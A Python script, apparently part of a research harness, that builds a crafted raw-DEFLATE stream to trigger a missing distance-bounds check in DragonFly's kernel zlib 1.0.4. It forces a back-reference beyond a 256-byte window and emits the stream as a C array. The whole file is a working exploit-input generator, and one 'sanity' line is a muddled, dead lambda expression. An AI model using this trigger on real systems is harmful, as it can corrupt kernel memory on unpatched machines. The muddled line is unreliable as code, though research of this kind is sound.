#!/usr/bin/env python3
# gen_stream.py -- how the crafted raw-DEFLATE stream embedded in harness.c
# was produced. Run on the host (the DragonFly guest has no python):
#
#   python3 gen_stream.py
#
# Strategy: compress with a 32KiB encoder window (windowBits=-15) so the
# encoder is free to emit distance codes up to 32768. Engineer the input
# so the ONLY match available for the second copy of a long pseudo-random
# pattern is more than 256 bytes back, forcing the encoder to emit a
# distance > 256. The resulting raw stream, fed to a decoder opened with
# inflateInit2(-8) (256-byte window), triggers the missing distance-bounds
# check in sys/net/zlib.c 1.0.4.
import zlib, sys

pat = bytes((i * 131 + 17) & 0xff for i in range(258))   # 258-byte unique pattern (max match len)
gap = b'\x00'
data = pat + gap + pat                                    # 2nd pat: nearest match at distance 259

co = zlib.compressobj(9, zlib.DEFLATED, -15)             # raw, 32K window
stream = co.compress(data) + co.flush()

# sanity: round-trips with a 32K window
out = zlib.decompressobj(-15).decompress(stream) + zlib.decompressobj(-15).flush() \
      if False else (lambda d: (d.decompress(stream), d.flush()[1] if False else None,
                     __import__('zlib').decompressobj(-15))(zlib.decompressobj(-15)))
# simpler sanity:
d = zlib.decompressobj(-15); rt = d.decompress(stream) + d.flush()
assert rt == data, "round-trip mismatch with encoder window"

print("orig_len", len(data))
print("stream_len", len(stream))
print("HEX", stream.hex())
print("C  ", "{" + ",".join("0x%02x" % b for b in stream) + "};  // len=%d" % len(stream))